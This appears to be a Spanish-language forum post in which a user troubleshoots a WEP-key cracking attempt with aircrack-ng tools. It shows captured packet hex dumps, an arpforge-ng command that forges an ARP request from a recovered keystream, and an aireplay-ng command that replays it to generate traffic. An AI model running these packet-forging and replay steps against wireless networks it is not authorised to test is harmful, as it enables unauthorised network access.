si tenia fromds 1 , era este
Size: 96, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:13:49:***
Dest. MAC = 00:13:02:***
Source MAC = 00:13:49:***
0x0000: 0842 2c00 0013 0214 4585 0013 499d e956 .B,.....E...I..V
0x0010: 0013 499d e956 9070 3dba 5800 bc07 ae22 ..I..V.p=.X...."
0x0020: 32fb 6a9c 804c f7e0 d692 0a6f ff80 ff48 2.j..L.....o...H
0x0030: 4cad 7bc3 b949 c5ab ad69 2ddd a30c 3db4 L.{..I...i-...=.
0x0040: a934 d719 98b9 4b88 eecb ff60 5fde 8223 .4....K....`_..#
0x0050: 8fc8 7f9e 284d 9b36 6479 68b9 5c54 fad6 ...(M.6dyh.\T..
lo forge asi
arpforge-ng replay_dec-1204-205908.xor 1 00:13:49:*** 0 .168.1.200 192.168.1.1 arp.cap
si embargo el que envio no parece tener fromds
root@angel-ubuntu:/home/angel# aireplay-ng --interactive -r arp.cap ath1
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:49:***
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:11:22:33:44:55
0x0000: 0841 0201 0013 499d e956 0011 2233 4455 .A....I..V.."3DU
0x0010: ffff ffff ffff 8001 3dba 5800 bc07 ae22 ........=.X...."
0x0020: 32fb 6a9a c58d ffd8 bf73 0a6e 0290 d9fc 2.j......s.n....
0x0030: 59d6 8eca 7829 c48a a669 48dc 63a4 3cb5 Y...x)...iH.c.<.
0x0040: 33bd 7c0a
la cosa no mejora debo haber forjado o hecho algo mal, pero aun asi el ataque arp debia funcionar.
y en el host , es el4 que sube rapido con 814589 , pero la captura no pasa de 4820